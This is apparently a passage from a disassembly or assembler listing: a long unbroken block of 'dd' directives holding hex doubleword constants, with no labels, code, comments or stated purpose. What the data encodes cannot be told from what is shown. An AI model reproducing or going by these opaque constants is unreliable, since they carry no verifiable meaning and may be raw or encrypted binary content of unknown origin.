6909F42Eh, 0F477F4A4h, 5671CFD7h, 3A73691Ah dd 59F4C660h, 9A9F2B6Dh, 6C70823Dh, 37DBADFh, 25C1342Fh dd 0DFE5CAA0h, 2C011752h, 21B2E912h, 869D9E9Bh, 6F7C3EBBh dd 0C545439Ch, 40F63945h, 0FDC8C012h, 0C3F0E7h, 992B5CB3h dd 2B295B78h, 29DAAE21h, 0A6FB7AA7h, 78ACB1Ch, 3256030Bh dd 29828CCDh, 8FE57F04h, 9FF35814h, 5F5F461Ah, 8D3AC187h dd 0AD06D358h, 7ABC9270h, 0F371DF03h, 62F64D95h, 0B7177555h dd 16D8C126h, 0A5F8C22Ah, 0ADCC37Fh, 1C8AC4DAh, 722FAF56h dd 459CC7Fh, 32153258h, 0EA712D4Fh, 38980BBFh, 64EB4CCFh dd 7F15384Bh, 0EF74CBBAh, 0C1B71AC7h, 662B0066h, 95A8D2D9h dd 951A2B9h, 562EDF22h, 0F3F10B64h, 0F30B770Bh, 0B5C275DFh dd 221C5B07h, 0E1928587h, 24F998D5h, 0BC0A6CEDh, 6DBDC1AEh dd 154A51A3h, 0A43B4DBFh, 0BE3FAAF0h, 0A854C21Fh, 1814FF71h dd 89FAECA2h, 195FE75Ah, 3B485CBBh, 0A228FF15h, 74037262h dd 14DE5F3h, 0C2B695E4h, 5A369B6Ch, 2DEF5169h, 0B65BBA15h dd 5866AEFCh, 3C91F3A9h, 0CA08ACA4h, 9442E1B9h, 7E27D69h dd 67C62960h, 637EB4F4h, 0F1E4734Dh, 279E6907h, 29A9B303h dd 92FF252Ch, 3B833D48h, 7E81248Dh, 8A347B42h, 0FB872D5Fh dd 0A6155BFCh, 30FBFC08h, 41EC5B58h, 28284887h, 0E945757Ah dd 0ACEF46D5h, 0E10A5F80h, 0DD8F5A5Ah, 270470F3h, 733E1CA9h dd 1F144F93h, 0ED8E80A5h, 0D07CF020h, 0C7063B39h, 0C3AC5787h dd 413D565h, 59ACAD0Fh, 0F47BAE4Ah, 0EADF9278h, 4DE6F729h dd 0A34E0EB1h, 0EADF5458h, 0F15A9154h, 0D14C6F8Ch, 0FBF9A610h dd 39A7611Bh, 0A5DF1F3Dh, 48DFC7CEh, 6A65EC46h, 44015328h dd 19A54267h, 23580E0Eh, 7D263689h, 4F3E2862h, 489ADF6Ch dd 6F6A01DDh, 8D463E1Ah, 22F44C0Ah, 0ED62D7h, 0C79C0A53h dd 35FE374h, 44DF49Fh, 9B97F205h, 0A29A95A4h, 6A25872Eh dd 66D7B4CCh, 0D7768426h, 0E58A7ED8h, 0F77D85A6h, 5AE748Eh dd 0AE123C67h, 41B2B2B2h, 5D4EB100h, 0C0C5838Fh, 423DD2Eh dd 0AFD46B95h, 0DEDA31F6h, 87F18211h, 0ACF8C136h, 61BA9565h dd 2C63E9EAh, 36194D28h, 8C1EA87Fh, 0A37763DEh, 0C169C5CAh dd 25652638h, 91A8C419h, 0EC76DA47h, 0EDA9AFA0h, 42FF3A47h dd 0AF5B079Ah, 0C33D8E2Dh, 4F9D341h, 0B4DECB10h, 0DB1D5660h dd 0BA3534D0h, 8A489A33h, 87800D27h, 0C446FDACh, 20F94326h dd 0F8A0B228h, 0BA1D5A88h, 0A8F1487h, 7202EADBh, 0D0264B55h dd 84224CF7h, 5BCB1276h, 8FB851C4h, 26966DCBh, 0C2A1E526h dd 97FAF01Ch, 0A0C0DABEh dd 972AB740h, 8B8DD6D3h, 0F4F4EA95h, 1875746h, 1F9C74DDh dd 0A6EF5E76h, 0B947E26Ah, 0EEBFD6A8h, 1CA8E224h, 37EB1536h dd 0E6B82C9Bh, 0EEFFE5FEh, 99C621E7h, 0C2BAD06Dh, 9431A5B5h dd 0A01277FDh, 0F7D8932Fh, 0D850FB50h, 29D6B202h, 6CDA3D09h dd 36535D32h, 0F1EAB6Fh, 0F97E53C4h, 909BD951h, 0A2CC6238h dd 0C1F7F130h, 260C9151h, 8C18BCE9h, 0D91E09A9h, 3EB78087h dd 2A2352BEh, 62B8A10h, 2277A6Fh, 0C25055E0h, 7DC7E385h dd 8DCAAFFAh, 5EA55BC7h, 0E179CAE3h, 7DD624B3h, 3A7F77B2h dd 74DCC559h, 1C36E261h, 7B671D75h, 569E74ACh, 6591C9D2h dd 2D20244Ah, 34C8A8D6h, 501D36F7h, 0CCE5D39Ch, 7492B46Ch dd 0A5ECB78Eh, 490F7226h, 5D896A6Fh, 416FF77Dh, 0DA6C39A0h dd 9D4860D3h, 486E9E81h, 9EF23A4Eh, 1C10BD92h, 83012084h dd 2C2BF2D5h, 0A0DF1545h, 608A01A4h, 53691B0Eh, 0B5AD99D6h dd 0BEC17263h, 562F54ADh, 0EE12BE02h, 0F7F8BEF8h, 596B61E8h dd 0A61958F4h, 8A04B35Bh, 4607681Ch, 3E11372Ah, 0A3F9B5h dd 8CBA53A5h, 0CC503092h, 0C1E35EFEh, 87711836h, 869BFD28h dd 4490CEA5h, 678484EEh, 6F62E4E9h, 27056C7Bh, 2CDFF8B3h dd 0B552479Ah, 0B6F8E698h, 0D49E4BD7h, 7C7E66DEh, 4BC37B32h dd 1074A3FCh, 0A7AEA5C1h, 0A16BA8B9h, 0F2EB07CBh, 0F158805Bh dd 3EF123F9h, 9C1EC484h, 63C0BB69h, 0C5278759h, 0C14AD6F3h dd 982BB26Dh, 674991FBh, 5CC610B0h, 0ADD05261h, 23C489C4h dd 0B60AD070h, 0ED021DF9h, 659990D7h, 0DDCCEA70h, 9896854Ch dd 412961C9h, 0E615AE13h, 0FB4A4775h, 9A27BEEEh, 0D06F5F20h dd 8A83B527h, 63037D7Ah, 45E9BC9Ah, 0E918261Eh, 0B73FF811h dd 7D966CA5h, 0D82C8B4Ch, 1E245270h, 0C8556856h, 14F727C2h dd 0E88F3A28h, 20F2C7E3h, 8759DAB6h, 3873A92Ch, 0C15874AFh dd 6CC3CDEAh, 8112F3EAh, 0A14A8B18h, 5BBAE157h, 12D34871h dd 6EBE5E1h, 832C1BB5h, 3761F1D3h, 0EF7A1F34h, 95E539FCh dd 39E23947h, 61EC91F4h, 0BD4E9529h, 18237799h, 0ADA48AB7h dd 7A1369B0h, 0CAC01719h, 0DA7885E2h, 0D2F740B1h, 0BF4A6C2Fh dd 4A808F35h, 9DE22989h, 1A7FF4A6h, 0F38AA5F5h, 67975B8Fh dd 0CB757670h, 0B7935DB3h, 36013826h, 0F3E64F5Bh, 0CBCD6E16h dd 0CA0A1E3Eh, 9A3C2937h, 87123FDDh, 24AC1C3Ch, 0D22C8846h dd 0E6D1A49Ch, 0FE8464FCh, 4109FEh, 0C097A6E2h, 0F75A0329h dd 3FF97780h, 266E7AC4h, 8BC225EAh, 0E93375Fh, 0F41656BCh dd 260B0533h, 4615B6A2h, 1CEAB68Dh, 3048F134h, 3647C4C4h dd 0C9F99F70h, 96EB82ACh, 85F04BCAh, 77B47FCAh, 0E8C07E54h dd 7DC52B68h, 3129E920h, 4C319DCCh, 5A793AA0h, 2F3E87CCh dd 0BC527DB5h, 2E096B94h, 0A704580Ah, 0FCE66012h, 2D326CABh dd 0E7C3A8C4h, 97749F27h, 24F761B3h, 7928ECF0h, 0E34A8C45h dd 0EEA75861h, 0C89FD450h, 0AC3D72C1h, 496308D8h, 0C56CC2BEh dd 0E2FC20F6h, 0C4FD3319h, 8CA1EB2Ah, 0DDA10E5Ah, 0DD9EFD3Dh dd 1CE0D8A9h, 27BE5C81h, 85EC2E93h, 7B3E1B75h, 0C7A9E237h dd 65D6D1A8h, 525D1A3Ah, 7290B51Eh, 0FF5B9433h, 0E4502385h dd 6B2DB131h, 8A11080Fh, 460B4156h, 0D9965B8Fh, 0A60C4415h dd 6FE54B6Fh, 178BEC23h, 0A95CBC24h, 0F0003FA3h, 0C1171ED6h dd 9EE4B056h, 40AA3787h, 5DA1048h, 1B1C0938h, 2577C99Ah dd 8D90CC10h, 0BD964502h, 9B904B7Ch, 69FD59B3h, 9F814493h dd 0F5D12878h, 9B8DD033h, 0F3B45BF5h, 0C0691141h, 8826A4CFh dd 3F084C7Eh, 0CDCAF3EAh, 0A5F0EC28h, 0EC40E277h, 0C1F4890h dd 8B53696Fh, 8208A9ACh, 57D6194Ah, 9F9517B6h, 0A73E37EBh dd 72A0FF21h, 6462A11Bh, 0FA61C3B9h, 0AB2CBA0Ah, 0EFA9A737h dd 5685D03Bh, 0F0CE32D0h, 8D690DAEh, 91381494h, 0B3AE5C3Eh dd 0BAE70B46h, 0E9697A59h, 42DC593Bh, 454A500Dh, 4326C71Dh dd 242A91A4h, 55D965B1h, 0C718104Dh, 32D7E3B3h, 9421E1D4h dd 987FCF5Eh, 4E59D352h, 98CF01E7h, 0FE099A44h, 0E26ADBFDh dd 157C2A02h, 2A2E8CDDh, 0FD410B7Ah, 0AA16A7B9h, 2E6E2BF9h dd 2B15FA1Dh, 804F8984h, 0DB683AFEh, 0F41E14D9h, 8C728DBh dd 516EFFF7h, 52D0F95Fh, 0EC11AE85h, 0C5789C1Eh, 0A8C05E3h dd 80AD1E2Dh, 660E6B71h, 4431CEEh, 7A8A40DCh, 1BC5393Eh dd 0C880E593h, 0DF06A513h, 7C00F4DDh, 7A0BE5D3h, 6C2F291Bh dd 7210D24Ch, 8D2CD732h, 4E947DEDh, 461B70C0h, 30EA5C44h dd 2E198CF4h, 3E28CE8Eh, 0BB8D0E97h, 6EE86654h, 0A2E3D41Dh dd 0DAB863C8h, 85FFE8B5h, 30B0FAACh, 7BE954C1h, 2A9236FAh dd 71D6B0EAh, 0C77E2800h, 0A40910C2h, 0B6E08BBEh, 51C9589Ch dd 0C7254BEAh, 0C3A9B5DCh, 0D48CDE8h, 0D8CAB7A9h, 0B331B745h dd 6AB61B1Bh, 0F462157Eh, 5AC371A1h, 0E52B0479h, 5AD473CAh dd 0DDDA47FEh, 0A841558Dh, 10ED4987h, 0A971DCE3h, 0A3F1B4Ch dd 66E512BBh, 0D25160EAh, 0D7F1CEC3h, 1907949Ah, 28CFF287h dd 13FC4BFFh, 4B6FC08h, 5CE75EAh, 56D0989h, 0BC30F1DBh dd 865BFC82h, 0C5C22EE4h, 93ABAF9Ch, 0E44761B0h, 0E688ED74h dd 26662F92h, 0E456FF5Ah, 0BA38B604h, 85365AF7h, 5571CC3h dd 0DE7CFE18h, 0A726163Eh, 967A9277h, 0DCF83082h, 7F98140Ch dd 3ABABB4h, 0ACC8FE00h, 9EA55FF5h, 2704C120h, 8C67428Eh dd 56D9E12Ch, 0A31CFBC2h, 4578EE9Fh, 99913E0h, 0D1EE70D4h dd 0F2A93DA4h, 0AD68376Fh, 0C22CD3DDh, 0F9C28510h, 3B03CE7Dh dd 109B82Fh, 0B067D2CBh, 9DB2F6B9h, 441916A0h, 0B7A1738Dh dd 0FF015359h, 61A728E7h, 35ECC5C7h, 3DD52F1Ah, 0D297D22Fh dd 0C54990EBh, 0D53995E6h, 84156653h, 84FCD2FEh, 235475DCh dd 7AA56C92h, 62F11921h, 0FC34D260h, 1C116633h, 0D0CE3AC3h dd 0C3758D34h, 9F21EFDCh, 111A27D9h, 2CDA0BB7h, 0AD740C9Eh dd 0C0BEDC61h, 0CB8E9E83h, 0F62D7F20h, 5FF0F642h, 0CCDA824Ah dd 0E286E928h, 0F2F14763h, 0B55DC543h, 6BDF52E7h, 969C92F2h dd 6865C475h, 38614CAAh, 0BE39E3EBh, 5292B6D9h, 0E83760EAh dd 0AC6BC46Fh, 0E7CDFF4Bh, 0FC5CC08Ah, 974D4EB2h, 725B03A2h dd 91F885FEh, 384510EFh, 1A5139Dh, 17D9A512h, 0BEFBD9C8h dd 8404E805h, 0C2C01BCh, 136F1BB1h, 460D549h, 0C0A5B061h dd 0E1F4E321h, 88C7172Eh, 0FEC46C9Ch, 8CBED937h, 0FAA13A1Bh dd 0C899026Fh, 0E6F5863Dh, 0CA8F215Fh, 4EA9C14Eh, 7156940Bh dd 0D22F55D1h, 0D2EA0EECh, 9E012A98h, 52362D6Dh, 619D4CC5h dd 39126A18h, 3A342034h, 13756019h, 0EA302001h, 4AEB0933h dd 0EFDD8A07h, 0B9D0B446h, 0E676554Ch, 9A14877Ch, 1D9751EAh dd 23CC77E1h, 0C9509967h, 5A2CE31Ch, 0C5321E72h, 0DE50101Fh dd 7DFAE942h, 3C2323D9h, 0C7498C49h, 65F43E6Dh, 9EF9411Eh dd 1B22E147h, 131A51D9h, 32A857D8h, 895320B7h, 64763FB8h dd 4A1AE229h, 982B0273h, 430BD527h, 0C07D7CEDh, 0EA856141h dd 0E013416Fh, 4A3DFC05h, 778161C2h, 82792866h, 0EA4744E1h dd 7CF51014h, 8BD73B1Eh, 781F7D7Bh, 42220D4Eh, 0E1DFF7B2h dd 0D4164088h, 0B420DB5Ch, 0DACD7317h, 32BC64E5h, 666AA227h dd 6E6F7h, 2CD6B11Eh, 396A27C6h, 0E99BAA8Ch, 0CD5A4C70h dd 220736BAh, 4B04C956h, 0E659E2BEh, 8F1303B5h, 0EEE1B05Dh dd 2C0E7BD2h, 0E36E5A60h, 82C7B4B6h, 9FBFA066h, 58CB658Dh dd 0ED210EBEh, 7925A607h dd 6769E746h, 713ACB9Eh, 16C78596h, 66A6B8A9h, 0FCA6FE01h dd 6708A3B1h, 0A76DC713h, 0E6C75DC8h, 0DD0CEB2Eh, 2F46A15Ch dd 591CBEE5h, 21218198h, 40A8A571h, 0B3A71E60h, 0DCD718BBh dd 343856E3h, 298A9A1Ch, 0A2F83844h, 4FAF43EAh, 0DC8CE3E0h dd 0FBEDE166h, 0D668352Eh, 8B189B48h, 6F4519C1h, 0AC2C8CA7h dd 1B587C2h, 5E949786h, 17256789h, 894FEB53h, 0D6146AA6h dd 0A56E7166h, 0D770D500h, 0E8FB365Dh, 3C9226C3h, 0C0FEC185h dd 3CCBB511h, 0C1A35BA4h, 0E8ABC894h, 0DA783C04h, 0B93522BDh dd 5443B7D6h, 92655A4Eh, 0C56169EBh, 222C8F90h, 6034C153h dd 0D5CF55CEh, 0B46D3649h, 0C6D51FDAh, 0D7137397h, 0F85D4F40h dd 99F141D4h, 89FF8142h, 20324223h, 0B287D27Ch, 0CBA499B4h dd 116AFC33h, 0ACB5E31Ah, 140F0077h, 0C6121C39h, 166E9DA3h dd 2BD8D77Ch, 89E6B31Dh, 11F20896h, 1EB596E4h, 7AE3691Ah dd 3FE9EF6Ch, 0CCFE6281h, 5AC4D140h, 7798267Fh, 4CB0A404h dd 9C380207h, 7D570F25h, 0D99B8147h, 0E9738D30h, 0B100735Ah dd 0F60F11A2h, 5CEB106Bh, 939F7392h, 0A0F0A140h, 0D2B4AF68h dd 97B2E7DAh, 0ABEB3177h, 0AFCD2FE8h, 175B91A6h, 74680ADFh dd 4D93F8F3h, 0B2347C8h, 219DDAC9h, 0D1C559BEh, 39283CB1h dd 0F7FED247h, 5FD4BE1Dh, 0F302050Ah, 1C78D93Ah, 96029740h dd 0F4773C40h, 0DF74E74Ah, 1BFCF57h, 4F17FAD7h, 95D17AF1h dd 1EE2E441h, 0E88B15CFh, 4A92FD21h, 0C07D40Eh, 0E9D178A0h dd 0D16D72D9h, 3C741678h, 2FAE8632h, 10E6B7CAh, 0D65A22B0h dd 0A4E59544h, 0D7CBB92Ch, 89F5AB5Fh, 0D5BEB25h, 8EC15CD7h dd 0DC553DCBh, 95AF9ADBh, 0F610DA6Dh, 0A3582851h, 121BCCC4h dd 0B0B28557h, 9581D61Dh, 78E3BE05h, 1D1CF8C9h, 2DADEFA8h dd 1C0E9A21h, 8EC63797h, 255E5C70h, 1323D4CDh, 7FA01923h dd 65EE8BBCh, 0FA0B06E7h, 3E3599BFh, 56AB3E36h, 7E14C428h dd 0A525F55Ah, 8D4B70ABh, 9492AE5Ch, 0E6EC8826h, 0AE0CBA19h dd 77B6AC9Dh, 62B2FFCCh, 128720A1h, 1A577436h, 84243CF3h dd 77391EF0h, 0ADB10E3Dh, 370127F3h, 9A640A05h, 2B510CBBh dd 2E8DB3BEh, 792BC8EDh, 2AF61717h, 227B4ED8h, 10A8C075h dd 89528FEFh, 0F574A7C6h, 39092BEDh, 0E237CF9h, 267DAB3Ah dd 0C6DCA0EDh, 6D02CCCCh, 0FB1EC280h, 0E3464C04h, 5286FD10h dd 0F27C002Ch, 0F29D5A9Eh, 0C66E3E16h, 681CC49Eh, 0BF4D8720h dd 0FCC7F1D1h, 6454B6D1h, 22A5FE9Dh, 0C9C3692Dh, 0DD9807F6h dd 1F32DA81h, 0BA836E15h, 21A8C2FAh, 0ED0C6EBCh, 8DCA4A70h dd 132C2B36h, 0BDFEF0D7h, 859F7560h, 0EE1733BFh, 4D4F407Bh dd 38CEDF8Ah, 71A1A226h, 0AF32070Bh, 4D655EC6h, 9F36E375h dd 0A2E2E8BDh, 5F0CC0A5h, 33367DAEh, 493FD31Dh, 0C4F05096h dd 0F19609BFh, 8AD392E6h, 26BBAE8Ah, 2ADDB23Eh, 0ABC6007Ch dd 81A01F2Eh, 2A88DDA2h, 0F44646ECh, 0E2C3DF60h, 51C583ACh dd 2BB0B340h, 2BF3285h, 0AC52480Eh, 0AFBAA7B2h, 0EE84818Bh dd 0AEAF70h, 124F5164h, 2A5BC178h, 44800B8Fh, 7DAC6C9Ah dd 4DB10622h, 747498C2h, 79CFFE09h, 0F2E02E1Dh, 0F4EECACh dd 2E38E169h, 0C65CD16Ch, 26EEC3B0h, 0C0DF6B62h, 2B41BC56h dd 64B524E7h, 3D9330EEh, 0DD1EC8BDh, 0AEF817B9h, 1C856E38h dd 8B950FB0h, 402FF7B1h, 9AEF785Fh, 99811DAAh, 0EAFC9AA5h dd 1D2D206Ch, 0B955CF3Ah, 51962BBBh, 6F350F6Bh, 0F8B4073Fh dd 9999ADAFh, 0E379449Eh, 4B4292D5h, 0A73A284Eh, 96803B1h dd 7AECF6A3h, 82F899C5h, 7E1B8DD8h, 26B618Bh, 93C10FEAh dd 0AE017350h, 194DB212h, 0CA23EB10h, 38ECD51Eh, 0FB017837h dd 603D4A98h, 83A85CD1h, 3721B9F5h, 0E1782606h, 0B8CDEA2Fh dd 10619962h, 0E3D899D8h, 1383B5A5h, 0AA847887h, 0F39AAF6Ah dd 7FED9769h, 2E4AFB00h, 0B07F562Dh, 8CE79D09h, 0DE1B57D1h dd 8C2CE919h, 42D8A659h, 16A3BC80h, 0A20F3720h, 0E874CBD1h dd 0A6869631h, 44DA59CFh, 0DDB62188h, 84DF555h, 13E33922h dd 0BAC534F6h, 51215B21h, 53950FE4h, 6CA3683Fh, 483B481Bh dd 61B23B40h, 239BC8D8h, 8536F91Fh, 3FB3AE3Dh, 906EB2CAh dd 684BB382h, 146DEC70h, 7436BC45h, 252FD899h, 0E18F86DAh dd 36A0091Ch, 0B5B59AB2h, 0D6444E31h, 817A2890h, 0DC458BC6h dd 0A4843D46h, 3863170Bh, 20BA0B28h, 95C2D4C9h, 0AFE724FEh dd 0F324C11Fh, 0B77C2FA9h, 588AA03Ah, 8112EDB9h, 0A954994Fh dd 0FF1AFC38h, 59493644h, 0DD48C639h, 871FC274h, 0D4DBC4E5h dd 322EAA13h, 5002D336h, 32359E62h, 26B58203h, 0B316C02h dd 67E7D6FFh, 0EABFEC76h, 3952202h, 0B901C74Eh, 0DDD6CA9h dd 0C1349F53h, 0D4535CA9h, 8DC2FDF9h, 93D04F15h, 8D5FAF02h dd 2FF84346h, 4C205E76h, 3DDF29C3h, 38A9A615h, 15580BF7h dd 31D3200Bh, 9A41A014h, 86E39CD4h, 292FCC68h, 379B41B8h dd 8689670Ch, 6BF2E8DFh, 0B29A4C93h, 815263BFh, 7409675Fh dd 0CCABAC9h, 87E606AFh, 5B45D8E5h, 1AC67BC8h, 9AD81F6Eh dd 0AEFC5857h, 0B27284CBh, 27B0930Eh, 139E7433h, 20B64737h dd 58B4435Fh, 9FE024Bh, 0C632BCA6h, 55283EEDh, 98E274B8h dd 16D1C5F0h, 0B82E14D3h, 917B69BAh, 20DC7EC3h, 0A726E228h dd 8971182Fh, 0AAC9A930h, 86DAB659h, 4DF937B9h, 0E6EC6723h dd 233AF420h, 79311514h, 2CF0DB2Ah, 19848BD9h, 88FFBC7h dd 0D3A30569h, 789A4D1Dh, 64EAE3F0h, 4F991C22h, 954DB658h dd 0E477F74Bh, 3D54E225h, 1BD41B81h, 79191B5Ah, 0A2508AB7h dd 0DDC21C3Ch, 2E15A187h, 0E0C97529h, 7EF43EC5h, 70889160h dd 1DC222Dh, 8381BE51h, 182CEEDFh, 0E13691AAh, 6681B295h dd 606915FDh, 8A136BFAh, 0A4E4854Ah, 0B5435FB8h, 0D16985F7h dd 6345DA86h, 0EFF2D3DFh, 951F59C7h, 0E0C70052h, 297A4E75h dd 38B8906h, 31CBEE2Fh, 0B4F62C31h, 75A07E6Ah, 0ED56C490h dd 50449654h, 2E353479h, 0BB2B19F4h, 6EA713F8h, 5C2D3F78h dd 98EF752Bh, 7D9EBD59h, 0E256FC5Eh, 11215B1h, 0EFEA3D06h dd 8D33EAF9h, 0D256747h, 5016F78Ch, 37BC8F48h, 46C09637h dd 770B4592h, 1352C99Dh, 653B3663h, 9A42AD10h, 0D1677DBFh dd 6298328Ah, 38911599h, 0F1AE264Eh, 0B46CE9DFh, 5D4591Ch dd 11E0056Eh, 262937FBh, 5D6F458Ah, 8FF192E3h, 581F772Ah dd 0BE1E2F3Dh, 1B4AC5E7h, 0A929F734h, 0A0B893E8h, 62C3CDF6h dd 49EB025Eh, 5BEC411Ch, 97417BC9h, 2CF752ABh, 82B2068Fh dd 51EAE475h, 0D03C01F4h, 22850502h, 0DF00CC48h, 7196E925h dd 0F41172F5h, 0E27F16ADh, 765FB5CEh, 154C2593h, 0A5A25933h dd 0F963EE98h, 69C7E147h, 7091B6BFh, 0F7F86FF6h, 10CFA3F9h dd 0E43AE05Ah, 0C5717EB1h, 35731CA9h, 173D0A7Ch, 0CBECB06Ch dd 8953479Eh, 97F6BACCh, 0C8DB91DBh, 349DBF65h, 55E346ACh dd 8FFEAB5h, 22A3B7CFh, 0AFF7F0EBh, 4DAC0E8h, 0B387FB58h dd 2DDDFAC0h, 438DF786h, 7CC5C0C1h, 6EE23534h, 0C8032D02h dd 0C53D6925h, 0C65EA4CFh, 0CEB41731h, 0B6C83578h, 0E0B93AB1h dd 0EC81A20Bh, 0CBFEE380h, 0A1F065B0h, 0DFA8EAA9h, 0E7EF0D84h dd 0E5491250h, 22ED358Ah, 88CC6B5Fh, 0CE956D35h, 377EE5A7h dd 0E6199A9Fh, 4942FC43h, 0EE770F4h, 0BAB87ECh, 6626AF72h dd 0E7A4D0E7h, 4DBB0BEAh, 436C1A06h, 6633309Dh, 98E219C1h dd 335C1CE4h, 328D9B05h dd 0EC0B17A6h, 2AB2FECCh, 67D3D0D5h, 54EA6134h, 19428AC1h dd 0FEAEFDABh, 0C299DB55h, 197245A9h, 63C2777Dh, 53D6300h dd 3B9B309h, 8D84ED11h, 4E1E64EDh, 0C1B3D5BEh, 44D5BFA3h dd 0ECD3061Dh, 965AD4Ch, 7079DAABh, 681A35BCh, 4EAF7C07h dd 83BFA396h, 496FED7Ah, 2A09548Ah, 4F1C805Eh, 0C6861D3Ch dd 0CF9ABBA2h, 8B4DBE1Eh, 0A1AF0E2Bh, 94DC3F29h, 9FF5728Fh dd 0F0C8D278h, 0D7E40600h, 49B24EEAh, 0F75032E9h, 0B5238D59h dd 0A72826E8h, 44DD4E3Eh, 16D77747h, 84767910h, 4155A945h dd 0EEAEEA08h, 0BBDE6E30h, 8A297BCAh, 54423C20h, 0CFE8ECAh dd 1F706EC5h, 0D601E7AEh, 0DDCA35A9h, 68B54D55h, 0F9651823h dd 0CBE594Bh, 0C3F1340Bh, 0B23A345Ah, 0E1AAB66Fh, 79A3D174h dd 0B800A3DCh, 0C478BC66h, 5697E1Eh, 2D2FFFBh, 6904C9E8h dd 3C23C06Ah, 0AA7358DBh, 67AD4E00h, 772B7459h, 0BBE09640h dd 9AAF200Dh, 0C49FD7D6h, 0CBCA83DBh, 0A59CC72Dh, 90A8E2B6h dd 77BDBEC7h, 370866F0h, 1FECCC3Ah, 6976FADFh, 0DEE6233Ah dd 6DF030A4h, 39560B4Ah, 9F70557Eh, 8C84EBE2h, 30845CE9h dd 0AA3D8E8Fh, 8FEB9A8h, 0FF9076E7h, 7EB05269h, 828C169h dd 0BEC159B7h, 33BA5C35h, 0D309D59h, 9FE73A59h, 0E4D630FBh dd 1FBCCEBDh, 9DA64AFFh, 0B569F283h, 0E825F0AAh, 0D020FABDh dd 4F41EF63h, 69A33A78h, 7B633CA7h, 7D15ADE8h, 0E3438965h dd 0FD93FA26h, 0CB596515h, 0D19A4726h, 0DC88472Ah, 11231A2Dh dd 0CEB017E3h, 493A096Ah, 95FEC86Ch, 0CE5B4C5Dh, 4A21C25Bh dd 618B82F6h, 85029354h, 0FAB738DAh, 0E0DF9B41h, 79A12050h dd 3378E4B9h, 0AA94765Ch, 79DA15BCh, 1F2F8FEh, 74B4AE73h dd 2C16AE03h, 25E85A46h, 5FFA8045h, 82E0D08Bh, 84A4CD43h dd 7ACA80E7h, 1E600274h, 330C27B4h, 0BD55598Ah, 8860788Ah dd 4C8AD965h, 57219C1h, 0FA1C4573h, 0F3168A8Ch, 1C8F1841h dd 4DEFDD47h, 3A4798B5h, 291AAD54h, 0DB32D0E4h, 813CC4D0h dd 0EB080A5Dh, 9B087E33h, 84FC927Ah, 332E7315h, 0DFCB21ADh dd 0CB09587Bh, 4E0F837h, 55B2F92Eh, 6461DF49h, 374271F0h dd 8E73D700h, 0FAEB927Ah, 3BB9323Ch, 8092F1DBh, 0F171892Ah dd 0F32E61D7h, 0F61769C0h, 0E43B18C3h, 0A414D439h, 1E42A00h dd 7C988232h, 0E7668B8h, 0DF902E3Bh, 0F128D6A8h, 32AC275Ah dd 875E146Ch, 0B3669777h, 8668D2BAh, 0FA5DAF2Eh, 3CAAD7C0h dd 2634BC7Bh, 0F842266Bh, 73B1D748h, 345FAEE8h, 10A016C9h dd 15E31668h, 1CDF9963h, 32607F2Fh, 0FF75F9F1h, 973A95DDh dd 0EB9C6E82h, 4F6FCC05h, 0E3EE89ABh, 0BCF4F3C4h, 620F596Dh dd 9A377C5Ah, 54B5FC48h, 0FBC22483h, 0B0F8A008h, 95E5228Fh dd 16212E43h, 5A1404E4h, 17822A25h, 0CD2B873Fh, 84D3166Bh dd 89D50CA9h, 0D22AD23h, 4A3CBDD6h, 41B83F1Bh, 0AF641018h dd 3ABFC665h, 9FBFF895h, 0F4BD0845h, 79FECA77h, 0CB5ED683h dd 0EFFF6885h, 2E1E209Ch, 0F09F0799h, 77D3F6DEh, 0B82DE922h dd 8A14932h, 4DB17C5Eh, 0A5ADE2C8h, 9A0763F2h, 0C4E67081h dd 6C9EB931h, 0FD0FB9B4h, 472965F7h, 0FA0B1EF3h, 62995ACDh dd 0E603625Ch, 496B79D7h, 9B728691h, 164FBF05h, 64FC8DF2h dd 37910896h, 0F86FBC30h, 0D0EA5B1Ah, 8FD43F1Ah, 33A759E2h dd 8C28C2C9h, 0A2738939h, 95692B1Ch, 0E95B828Ah, 0ECF3E7E6h dd 0D3EDDD0Ch, 0F059B9D6h, 0E543C813h, 22E6CC00h, 90C86E9h dd 28FF269Ch, 0C142DC27h, 2E9C3A9h, 1F2D4CE2h, 0CC0B56Eh dd 2D89315Fh, 204B6243h, 268AE1C2h, 98FF8FD9h, 3E0E7AB7h dd 2676F980h, 6566563Dh, 3458B16Fh, 0DEA4A44h, 8380EA6h dd 0E233ACE8h, 0EAFB719Ah, 0F778AC43h, 655A121h, 9B9CCFFh dd 768FBAACh, 0B24D5236h, 0C065310Ah, 8E4D6D17h, 9CB632A6h dd 9A904D6Eh, 3CE9AB61h, 0C19B93EBh, 630F5CBAh, 0B7CC6C2Fh dd 1785A6A9h, 62457406h, 0E62B46B2h, 7D6A9D06h, 0A876EA86h dd 0FD50CAA1h, 35D3A514h, 3FFDC970h, 2673AB0Bh, 9C67AC8Ah dd 879C62DEh, 0DD5A5E4Bh, 3123754Bh, 8D48F7C8h, 0D6DE5145h dd 0DE9065D7h, 8A158273h, 99D82F8Eh, 0EFA8B4CDh, 0C4C64F1Ah dd 87660C4Dh, 0A37D6880h, 6ECFE67Ch, 2C9876FBh, 3DD54254h dd 98F5E839h, 3E5BCD13h, 3F53BC4Dh, 827C9AB1h, 7DC61EEFh dd 7C4E534Eh, 0D28A5A7Dh, 6A32DAFEh, 0E65F4D58h, 1D3B526h dd 0EE3E47F6h, 0A8FE6915h, 0B69A5D34h, 0DA569860h, 35CCFEE5h dd 0A94B992Bh, 0CFE230AFh, 0F65AA288h, 130F734Eh, 0D236D06Ch dd 9AC3769Bh, 535994E6h, 0B93F37D8h, 565745BAh, 0D729454Eh dd 347B2758h, 81AC56E3h, 0D7ABA250h, 6D5A3993h, 0F1FC00F7h dd 0D3194A8Ch, 59CF9A95h, 1C82B102h, 0B26431AAh, 0E9033962h dd 875E1EBEh, 0C4E1008Fh, 8E813F2Ch, 74551B7Ah, 90B3DB0Ch dd 5234EEB7h, 2F0795A0h, 606729CBh, 0AC60C99Fh, 565CDEDFh dd 5012B4B4h, 2EB6705Bh, 0A253D24Dh, 0A8CE8A50h, 0CF665B73h dd 60294B66h, 79247411h, 0EF79658Eh, 0A2ABF1D4h, 98C56F1h dd 6B3B68DDh, 1FCFAE6Ch, 462E9080h, 668922Ch, 0D1257750h dd 13055103h, 74BCAEC0h, 207E1EAAh, 84B54A90h, 0EFA6B837h dd 379F543Bh, 70C50BA1h, 823BD347h, 6156F7CAh, 0D4AC0990h dd 0F32B2B19h, 6C0EA9B9h, 0C2602858h, 0B813995Ch, 1F049F7h dd 95F77879h, 0FD52BB86h, 0D72CE281h, 876439C4h, 0F90CC0E8h dd 